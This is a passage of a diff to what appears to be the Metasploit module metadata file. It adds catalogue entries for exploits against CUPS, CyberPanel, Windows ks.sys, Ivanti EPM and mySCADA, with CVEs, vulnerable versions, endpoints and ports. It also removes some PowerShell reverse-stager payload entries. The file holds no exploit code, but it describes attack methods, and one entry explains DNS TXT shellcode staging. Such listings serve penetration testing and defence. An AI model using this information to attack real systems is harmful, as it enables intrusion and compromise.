"exploit_multi/local/vagrant_synced_folder_vagrantfile_breakout": { "name": "Vagrant Synced Folder Vagrantfile Breakout", "fullname": "exploit/multi/local/vagrant_synced_folder_vagrantfile_breakout", @@ -117906,6 +120500,71 @@ "session_types": false, "needs_cleanup": null }, + "exploit_multi/misc/cups_ipp_remote_code_execution": { + "name": "CUPS IPP Attributes LAN Remote Code Execution", + "fullname": "exploit/multi/misc/cups_ipp_remote_code_execution", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": "2024-09-26", + "type": "exploit", + "author": [ + "Simone Margaritelli", + "Rick de Jager", + "David Batley", + "Spencer McIntyre", + "RageLtMan ", + "Ryan Emmons" + ], + "description": "This module exploits vulnerabilities in OpenPrinting CUPS, which is running by\n default on most Linux distributions. The vulnerabilities allow an attacker on\n the LAN to advertise a malicious printer that triggers remote code execution\n when a victim sends a print job to the malicious printer. Successful exploitation\n requires user interaction, but no CUPS services need to be reachable via accessible\n ports. Code execution occurs in the context of the lp user. Affected versions\n are cups-browsed <= 2.0.1, libcupsfilters <= 2.1b1, libppd <= 2.1b1, and\n cups-filters <= 2.0.1.", + "references": [ + "CVE-2024-47076", + "CVE-2024-47175", + "CVE-2024-47177", + "CVE-2024-47176", + "URL-https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/", + "URL-https://github.com/RickdeJager/cupshax", + "URL-https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8", + "URL-https://github.com/OpenPrinting/libcupsfilters/security/advisories/GHSA-w63j-6g73-wmg5", + "URL-https://github.com/OpenPrinting/libppd/security/advisories/GHSA-7xfx-47qg-grp6", + "URL-https://github.com/OpenPrinting/cups-filters/security/advisories/GHSA-p9rh-jxmq-gq47", + "URL-https://github.com/h2g2bob/ipp-server/" + ], + "platform": "Linux,Unix", + "arch": "cmd", + "rport": null, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": [ + "Default" + ], + "mod_time": "2024-11-21 15:14:46 +0000", + "path": "/modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb", + "is_install_path": true, + "ref_name": "multi/misc/cups_ipp_remote_code_execution", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "event-dependent" + ], + "SideEffects": [ + "ioc-in-logs", + "artifacts-on-disk" + ] + }, + "session_types": false, + "needs_cleanup": null + }, "exploit_multi/misc/erlang_cookie_rce": { "name": "Erlang Port Mapper Daemon Cookie RCE", "fullname": "exploit/multi/misc/erlang_cookie_rce", @@ -125841,7 +128500,7 @@ "targets": [ "Universal" ], - "mod_time": "2022-04-18 09:36:52 +0000", + "mod_time": "2024-11-18 17:32:48 +0000", "path": "/modules/exploits/unix/http/schneider_electric_net55xx_encoder.rb", "is_install_path": true, "ref_name": "unix/http/schneider_electric_net55xx_encoder", @@ -127327,7 +129986,7 @@ "targets": [ "vAPV 8.3.2.17 / vxAG 9.2.0.34" ], - "mod_time": "2022-04-18 09:36:52 +0000", + "mod_time": "2024-11-18 17:32:48 +0000", "path": "/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb", "is_install_path": true, "ref_name": "unix/ssh/array_vxag_vapv_privkey_privesc", @@ -127372,7 +130031,7 @@ "targets": [ "Unix-based Tectia SSH 6.3 or prior" ], - "mod_time": "2022-03-09 13:24:06 +0000", + "mod_time": "2024-11-18 17:32:48 +0000", "path": "/modules/exploits/unix/ssh/tectia_passwd_changereq.rb", "is_install_path": true, "ref_name": "unix/ssh/tectia_passwd_changereq", @@ -128292,6 +130951,88 @@ "session_types": false, "needs_cleanup": null }, + "exploit_unix/webapp/cyberpanel_preauth_rce_multi_cve": { + "name": "CyberPanel Multi CVE Pre-auth RCE", + "fullname": "exploit/unix/webapp/cyberpanel_preauth_rce_multi_cve", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2024-10-27", + "type": "exploit", + "author": [ + "DreyAnd", + "Valentin Lobstein", + "Luka Petrovic (refr4g)" + ], + "description": "This module exploits three separate unauthenticated Remote Code Execution vulnerabilities in CyberPanel:\n\n - CVE-2024-51567: Command injection vulnerability in the \"upgrademysqlstatus\" endpoint.\n - CVE-2024-51568: Command Injection via the \"completePath\" parameter in the \"outputExecutioner\" sink.\n - CVE-2024-51378: Unauthenticated RCE in \"/ftp/getresetstatus\" and \"/dns/getresetstatus\".\n\n These vulnerabilities were exploited in ransomware campaigns affecting over 22,000 CyberPanel instances, with the PSAUX ransomware being the primary actor in these attacks.", + "references": [ + "CVE-2024-51567", + "CVE-2024-51568", + "CVE-2024-51378", + "URL-https://dreyand.rs/code/review/2024/10/27/what-are-my-options-cyberpanel-v236-pre-auth-rce", + "URL-https://refr4g.github.io/posts/cyberpanel-command-injection-vulnerability/", + "URL-https://github.com/DreyAnd/CyberPanel-RCE", + "URL-https://github.com/refr4g/CVE-2024-51378", + "URL-https://www.bleepingcomputer.com/news/security/massive-psaux-ransomware-attack-targets-22-000-cyberpanel-instances/", + "URL-https://gist.github.com/gboddin/d78823245b518edd54bfc2301c5f8882" + ], + "platform": "Linux,Unix", + "arch": "cmd", + "rport": 8090, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Unix/Linux Command Shell" + ], + "mod_time": "2024-12-05 16:05:25 +0000", + "path": "/modules/exploits/unix/webapp/cyberpanel_preauth_rce_multi_cve.rb", + "is_install_path": true, + "ref_name": "unix/webapp/cyberpanel_preauth_rce_multi_cve", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs" + ] + }, + "session_types": false, + "needs_cleanup": null, + "actions": [ + { + "name": "CVE-2024-51378", + "description": "Exploit using CVE-2024-51378" + }, + { + "name": "CVE-2024-51567", + "description": "Exploit using CVE-2024-51567" + }, + { + "name": "CVE-2024-51568", + "description": "Exploit using CVE-2024-51568" + } + ] + }, "exploit_unix/webapp/datalife_preview_exec": { "name": "DataLife Engine preview.php PHP Code Injection", "fullname": "exploit/unix/webapp/datalife_preview_exec", @@ -176290,7 +179031,7 @@ "targets": [ "Windows x64" ], - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2024-12-12 17:11:53 +0000", "path": "/modules/exploits/windows/local/cve_2020_0668_service_tracing.rb", "is_install_path": true, "ref_name": "windows/local/cve_2020_0668_service_tracing", @@ -177281,6 +180022,65 @@ ] }, + "exploit_windows/local/cve_2024_35250_ks_driver": { + "name": "Windows Access Mode Mismatch LPE in ks.sys", + "fullname": "exploit/windows/local/cve_2024_35250_ks_driver", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2024-06-11", + "type": "exploit", + "author": [ + "AngelBoy", + "varwara", + "jheysel-r7" + ], + "description": "The ks.sys driver on Windows is one of the core components of Kernel Streaming and is installed by default.\n There exists a LPE in this driver which can be exploited on many recent versions of Windows 10,\n Windows 11, Windows Server 2022.", + "references": [ + "URL-https://github.com/varwara/CVE-2024-35250", + "URL-https://devco.re/blog/2024/08/23/streaming-vulnerabilities-from-windows-kernel-proxying-to-kernel-part1-en/", + "URL-https://googleprojectzero.blogspot.com/2019/03/windows-kernel-logic-bug-class-access.html", + "CVE-2024-35250" + ], + "platform": "Windows", + "arch": "x64", + "rport": null, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": [ + "Windows x64" + ], + "mod_time": "2024-11-06 09:13:51 +0000", + "path": "/modules/exploits/windows/local/cve_2024_35250_ks_driver.rb", + "is_install_path": true, + "ref_name": "windows/local/cve_2024_35250_ks_driver", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "artifacts-on-disk" + ], + "Reliability": [ + "repeatable-session" + ] + }, + "session_types": [ + "meterpreter" + ], + "needs_cleanup": null, + "actions": [ + + ] + }, "exploit_windows/local/dnsadmin_serverlevelplugindll": { "name": "DnsAdmin ServerLevelPluginDll Feature Abuse Privilege Escalation", "fullname": "exploit/windows/local/dnsadmin_serverlevelplugindll", @@ -184547,6 +187347,59 @@ "session_types": false, "needs_cleanup": null }, + "exploit_windows/misc/ivanti_agent_portal_cmdexec": { + "name": "Ivanti EPM Agent Portal Command Execution", + "fullname": "exploit/windows/misc/ivanti_agent_portal_cmdexec", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2023-06-07", + "type": "exploit", + "author": [ + "James Horseman", + "Zach Hanley", + "Spencer McIntyre" + ], + "description": "This module leverages an unauthenticated RCE in Ivanti's EPM Agent Portal where a RPC client can invoke a method\n which will run an attacker-specified string on the remote target as NT AUTHORITY\\SYSTEM.\n This vulnerability is present in versions prior to EPM 2021.1 Su4 and EPM 2022 Su2.", + "references": [ + "CVE-2023-28324", + "URL-https://forums.ivanti.com/s/article/SA-2023-06-06-CVE-2023-28324?language=en_US", + "URL-https://github.com/horizon3ai/CVE-2023-28324" + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": [ + "Automatic" + ], + "mod_time": "2024-11-20 13:51:39 +0000", + "path": "/modules/exploits/windows/misc/ivanti_agent_portal_cmdexec.rb", + "is_install_path": true, + "ref_name": "windows/misc/ivanti_agent_portal_cmdexec", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + + ], + "Reliability": [ + "repeatable-session" + ] + }, + "session_types": false, + "needs_cleanup": null + }, "exploit_windows/misc/ivanti_avalanche_mdm_bof": { "name": "Ivanti Avalanche MDM Buffer Overflow", "fullname": "exploit/windows/misc/ivanti_avalanche_mdm_bof", @@ -186772,9 +189625,9 @@ "Nathan Kirk", "OJ Reeves" ], - "description": "This module executes an arbitrary native payload on a Microsoft SQL\n server by loading a custom SQL CLR Assembly into the target SQL\n installation, and calling it directly with a base64-encoded payload.\n\n The module requires working credentials in order to connect directly to the\n MSSQL Server.\n\n This method requires the user to have sufficient privileges to install a custom\n SQL CRL DLL, and invoke the custom stored procedure that comes with it.\n\n This exploit does not leave any binaries on disk.\n\n Tested on MS SQL Server versions: 2005, 2012, 2016 (all x64).", + "description": "This module executes an arbitrary native payload on a Microsoft SQL\n server by loading a custom SQL CLR Assembly into the target SQL\n installation, and calling it directly with a base64-encoded payload.\n\n The module requires working credentials in order to connect directly to the\n MSSQL Server.\n\n This method requires the user to have sufficient privileges to install a custom\n SQL CRL DLL, and invoke the custom stored procedure that comes with it.\n\n This exploit does not leave any binaries on disk.\n\n Tested on MS SQL Server versions: 2005, 2012, 2016 (all x64).", "references": [ - "URL-http://sekirkity.com/command-execution-in-sql-server-via-fileless-clr-based-custom-stored-procedure/" + "URL-https://web.archive.org/web/20200810021536/http://sekirkity.com/command-execution-in-sql-server-via-fileless-clr-based-custom-stored-procedure/" ], "platform": "Windows", "arch": "x86, x64", @@ -186796,7 +189649,7 @@ "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-01-09 20:58:40 +0000", "path": "/modules/exploits/windows/mssql/mssql_clr_payload.rb", "is_install_path": true, "ref_name": "windows/mssql/mssql_clr_payload", @@ -189532,6 +192385,65 @@ "session_types": false, "needs_cleanup": null }, + "exploit_windows/scada/mypro_mgr_cmd": { + "name": "mySCADA myPRO Manager Unauthenticated Command Injection (CVE-2024-47407)", + "fullname": "exploit/windows/scada/mypro_mgr_cmd", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2024-11-21", + "type": "exploit", + "author": [ + "Michael Heinzl" + ], + "description": "Unauthenticated Command Injection in MyPRO Manager <= v1.2 from mySCADA.\n The vulnerability can be exploited by a remote attacker to inject arbitrary operating system commands which will get executed in the context of the myscada9 administrative user that is automatically added by the product.", + "references": [ + "URL-https://www.cisa.gov/news-events/ics-advisories/icsa-24-326-07", + "CVE-2024-47407" + ], + "platform": "Windows", + "arch": "cmd", + "rport": 34022, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Windows_Fetch" + ], + "mod_time": "2025-01-29 20:18:05 +0000", + "path": "/modules/exploits/windows/scada/mypro_mgr_cmd.rb", + "is_install_path": true, + "ref_name": "windows/scada/mypro_mgr_cmd", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs" + ] + }, + "session_types": false, + "needs_cleanup": null + }, "exploit_windows/scada/procyon_core_server": { "name": "Procyon Core Server HMI Coreservice.exe Stack Buffer Overflow", "fullname": "exploit/windows/scada/procyon_core_server", @@ -191714,7 +194626,7 @@ "MOF upload", "Command" ], - "mod_time": "2024-02-02 14:26:43 +0000", + "mod_time": "2024-12-16 14:55:10 +0000", "path": "/modules/exploits/windows/smb/psexec.rb", "is_install_path": true, "ref_name": "windows/smb/psexec", @@ -194821,7 +197733,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/singles/apple_ios/aarch64/shell_reverse_tcp.rb", "is_install_path": true, "ref_name": "apple_ios/aarch64/shell_reverse_tcp", @@ -213632,50 +216544,6 @@ "stage_refname": "windows/custom", "stager_refname": "windows/findtag_ord" }, - "payload_cmd/windows/powershell/custom/reverse_hop_http": { - "name": "Powershell Exec, Windows shellcode stage, Reverse Hop HTTP/HTTPS Stager", - "fullname": "payload/cmd/windows/powershell/custom/reverse_hop_http", - "aliases": [ - - ], - "rank": 300, - "disclosure_date": null, - "type": "payload", - "author": [ - "Spencer McIntyre", - "bwatters-r7", - "scriptjunkie ", - "bannedit ", - "hdm " - ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over an HTTP or HTTPS hop point. Note that you must first upload\ndata/hop/hop.php to the PHP server you wish to use as a hop.", - "references": [ - - ], - "platform": "Windows", - "arch": "cmd", - "rport": null, - "autofilter_ports": null, - "autofilter_services": null, - "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", - "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/reverse_hop_http", - "check": false, - "post_auth": false, - "default_credential": false, - "notes": { - }, - "session_types": false, - "needs_cleanup": false, - "payload_type": 8, - "adapter_refname": "cmd/windows/powershell", - "adapted_refname": "windows/custom/reverse_hop_http", - "staged": true, - "stage_refname": "windows/custom", - "stager_refname": "windows/reverse_hop_http" - }, "payload_cmd/windows/powershell/custom/reverse_http": { "name": "Powershell Exec, Windows shellcode stage, Windows Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/powershell/custom/reverse_http", @@ -213802,50 +216670,6 @@ "stage_refname": "windows/custom", "stager_refname": "windows/reverse_https" }, - "payload_cmd/windows/powershell/custom/reverse_https_proxy": { - "name": "Powershell Exec, Windows shellcode stage, Reverse HTTPS Stager with Support for Custom Proxy", - "fullname": "payload/cmd/windows/powershell/custom/reverse_https_proxy", - "aliases": [ - - ], - "rank": 300, - "disclosure_date": null, - "type": "payload", - "author": [ - "Spencer McIntyre", - "bwatters-r7", - "hdm ", - "corelanc0d3r ", - "amaloteaux " - ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nTunnel communication over HTTP using SSL with custom proxy support", - "references": [ - - ], - "platform": "Windows", - "arch": "cmd", - "rport": null, - "autofilter_ports": null, - "autofilter_services": null, - "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", - "is_install_path": true, - "ref_name": "cmd/windows/powershell/custom/reverse_https_proxy", - "check": false, - "post_auth": false, - "default_credential": false, - "notes": { - }, - "session_types": false, - "needs_cleanup": false, - "payload_type": 8, - "adapter_refname": "cmd/windows/powershell", - "adapted_refname": "windows/custom/reverse_https_proxy", - "staged": true, - "stage_refname": "windows/custom", - "stager_refname": "windows/reverse_https_proxy" - }, "payload_cmd/windows/powershell/custom/reverse_ipv6_tcp": { "name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (IPv6)", "fullname": "payload/cmd/windows/powershell/custom/reverse_ipv6_tcp", @@ -214856,51 +217680,6 @@ "stage_refname": "windows/dllinject", "stager_refname": "windows/findtag_ord" }, - "payload_cmd/windows/powershell/dllinject/reverse_hop_http": { - "name": "Powershell Exec, Reverse Hop HTTP/HTTPS Stager", - "fullname": "payload/cmd/windows/powershell/dllinject/reverse_hop_http", - "aliases": [ - - ], - "rank": 300, - "disclosure_date": null, - "type": "payload", - "author": [ - "Spencer McIntyre", - "sf ", - "scriptjunkie ", - "bannedit ", - "hdm " - ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over an HTTP or HTTPS hop point. Note that you must first upload\ndata/hop/hop.php to the PHP server you wish to use as a hop.", - "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" - ], - "platform": "Windows", - "arch": "cmd", - "rport": null, - "autofilter_ports": null, - "autofilter_services": null, - "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", - "is_install_path": true, - "ref_name": "cmd/windows/powershell/dllinject/reverse_hop_http", - "check": false, - "post_auth": false, - "default_credential": false, - "notes": { - }, - "session_types": false, - "needs_cleanup": false, - "payload_type": 8, - "adapter_refname": "cmd/windows/powershell", - "adapted_refname": "windows/dllinject/reverse_hop_http", - "staged": true, - "stage_refname": "windows/dllinject", - "stager_refname": "windows/reverse_hop_http" - }, "payload_cmd/windows/powershell/dllinject/reverse_http": { "name": "Powershell Exec, Windows Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/powershell/dllinject/reverse_http", @@ -215443,7 +218222,7 @@ "Spencer McIntyre", "corelanc0d3r " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nPerforms a TXT query against a series of DNS record(s) and executes the returned payload", + "description": "Execute an x86 payload from a command via PowerShell.\n\nPerforms a TXT query against a series of DNS record(s) and executes the returned x86 shellcode. The DNSZONE\noption is used as the base name to iterate over. The payload will first request the TXT contents of the a\nhostname, followed by b, then c, etc. until there are no more records. For each record that is returned, exactly\n255 bytes from it are copied into a buffer that is eventually executed. This buffer should be encoded using\nx86/alpha_mixed with the BufferRegister option set to EDI.", "references": [ ], @@ -216205,53 +218984,6 @@ "stage_refname": "windows/meterpreter", "stager_refname": "windows/findtag_ord" }, - "payload_cmd/windows/powershell/meterpreter/reverse_hop_http": { - "name": "Powershell Exec, Reverse Hop HTTP/HTTPS Stager", - "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_hop_http", - "aliases": [ - - ], - "rank": 300, - "disclosure_date": null, - "type": "payload", - "author": [ - "Spencer McIntyre", - "skape ", - "sf ", - "OJ Reeves", - "scriptjunkie ", - "bannedit ", - "hdm " - ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over an HTTP or HTTPS hop point. Note that you must first upload\ndata/hop/hop.php to the PHP server you wish to use as a hop.", - "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" - ], - "platform": "Windows", - "arch": "cmd", - "rport": null, - "autofilter_ports": null, - "autofilter_services": null, - "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", - "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/reverse_hop_http", - "check": false, - "post_auth": false, - "default_credential": false, - "notes": { - }, - "session_types": false, - "needs_cleanup": false, - "payload_type": 8, - "adapter_refname": "cmd/windows/powershell", - "adapted_refname": "windows/meterpreter/reverse_hop_http", - "staged": true, - "stage_refname": "windows/meterpreter", - "stager_refname": "windows/reverse_hop_http" - }, "payload_cmd/windows/powershell/meterpreter/reverse_http": { "name": "Powershell Exec, Windows Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_http", @@ -216387,53 +219119,6 @@ "stage_refname": "windows/meterpreter", "stager_refname": "windows/reverse_https" }, - "payload_cmd/windows/powershell/meterpreter/reverse_https_proxy": { - "name": "Powershell Exec, Reverse HTTPS Stager with Support for Custom Proxy", - "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_https_proxy", - "aliases": [ - - ], - "rank": 300, - "disclosure_date": null, - "type": "payload", - "author": [ - "Spencer McIntyre", - "skape ", - "sf ", - "OJ Reeves", - "hdm ", - "corelanc0d3r ", - "amaloteaux " - ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over HTTP using SSL with custom proxy support", - "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" - ], - "platform": "Windows", - "arch": "cmd", - "rport": null, - "autofilter_ports": null, - "autofilter_services": null, - "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", - "is_install_path": true, - "ref_name": "cmd/windows/powershell/meterpreter/reverse_https_proxy", - "check": false, - "post_auth": false, - "default_credential": false, - "notes": { - }, - "session_types": false, - "needs_cleanup": false, - "payload_type": 8, - "adapter_refname": "cmd/windows/powershell", - "adapted_refname": "windows/meterpreter/reverse_https_proxy", - "staged": true, - "stage_refname": "windows/meterpreter", - "stager_refname": "windows/reverse_https_proxy" - }, "payload_cmd/windows/powershell/meterpreter/reverse_ipv6_tcp": { "name": "Powershell Exec, Reverse TCP Stager (IPv6)", "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_ipv6_tcp", @@ -222228,51 +224913,6 @@ "stage_refname": "windows/vncinject", "stager_refname": "windows/findtag_ord" }, - "payload_cmd/windows/powershell/vncinject/reverse_hop_http": { - "name": "Powershell Exec, Reverse Hop HTTP/HTTPS Stager", - "fullname": "payload/cmd/windows/powershell/vncinject/reverse_hop_http", - "aliases": [ - - ], - "rank": 300, - "disclosure_date": null, - "type": "payload", - "author": [ - "Spencer McIntyre", - "sf ", - "scriptjunkie ", - "bannedit ", - "hdm " - ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over an HTTP or HTTPS hop point. Note that you must first upload\ndata/hop/hop.php to the PHP server you wish to use as a hop.", - "references": [ - "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", - "URL-https://github.com/rapid7/ReflectiveDLLInjection" - ], - "platform": "Windows", - "arch": "cmd", - "rport": null, - "autofilter_ports": null, - "autofilter_services": null, - "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", - "is_install_path": true, - "ref_name": "cmd/windows/powershell/vncinject/reverse_hop_http", - "check": false, - "post_auth": false, - "default_credential": false, - "notes": { - }, - "session_types": false, - "needs_cleanup": false, - "payload_type": 8, - "adapter_refname": "cmd/windows/powershell", - "adapted_refname": "windows/vncinject/reverse_hop_http", - "staged": true, - "stage_refname": "windows/vncinject", - "stager_refname": "windows/reverse_hop_http" - }, "payload_cmd/windows/powershell/vncinject/reverse_http": { "name": "Powershell Exec, Windows Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/powershell/vncinject/reverse_http", @@ -234150,7 +236790,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/stagers/linux/aarch64/reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/aarch64/meterpreter/reverse_tcp", @@ -234302,7 +236942,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/stagers/linux/aarch64/reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/aarch64/shell/reverse_tcp", @@ -234340,7 +236980,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2024-12-20 10:18:25 +0000", "path": "/modules/payloads/singles/linux/aarch64/shell_reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/aarch64/shell_reverse_tcp", @@ -234490,7 +237130,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-07-27 16:02:37 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/singles/linux/armbe/shell_bind_tcp.rb", "is_install_path": true, "ref_name": "linux/armbe/shell_bind_tcp", @@ -234526,7 +237166,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-09-22 12:55:41 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/singles/linux/armle/adduser.rb", "is_install_path": true, "ref_name": "linux/armle/adduser", @@ -234562,7 +237202,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-09-22 12:55:41 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/singles/linux/armle/exec.rb", "is_install_path": true, "ref_name": "linux/armle/exec", @@ -234599,7 +237239,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/stagers/linux/armle/bind_tcp.rb", "is_install_path": true, "ref_name": "linux/armle/meterpreter/bind_tcp", @@ -234639,7 +237279,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-01-23 14:26:44 +0000", "path": "/modules/payloads/stagers/linux/armle/reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/armle/meterpreter/reverse_tcp", @@ -234791,7 +237431,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/stagers/linux/armle/bind_tcp.rb", "is_install_path": true, "ref_name": "linux/armle/shell/bind_tcp", @@ -234830,7 +237470,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-01-23 14:26:44 +0000", "path": "/modules/payloads/stagers/linux/armle/reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/armle/shell/reverse_tcp", @@ -234869,7 +237509,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/singles/linux/armle/shell_bind_tcp.rb", "is_install_path": true, "ref_name": "linux/armle/shell_bind_tcp", @@ -234905,7 +237545,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/singles/linux/armle/shell_reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/armle/shell_reverse_tcp", @@ -235056,7 +237696,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-05-21 12:52:12 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/singles/linux/mipsbe/exec.rb", "is_install_path": true, "ref_name": "linux/mipsbe/exec", @@ -235094,7 +237734,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-01-15 04:31:53 +0000", "path": "/modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/mipsbe/meterpreter/reverse_tcp", @@ -235247,7 +237887,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/singles/linux/mipsbe/reboot.rb", "is_install_path": true, "ref_name": "linux/mipsbe/reboot", @@ -235284,7 +237924,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-01-15 04:31:53 +0000", "path": "/modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/mipsbe/shell/reverse_tcp", @@ -235325,7 +237965,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/singles/linux/mipsbe/shell_bind_tcp.rb", "is_install_path": true, "ref_name": "linux/mipsbe/shell_bind_tcp", @@ -235362,7 +238002,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/mipsbe/shell_reverse_tcp", @@ -235399,7 +238039,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-05-21 12:52:12 +0000", + "mod_time": "2025-01-14 09:31:03 +0000", "path": "/modules/payloads/singles/linux/mipsle/exec.rb", "is_install_path": true, "ref_name": "linux/mipsle/exec", @@ -235437,7 +238077,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - 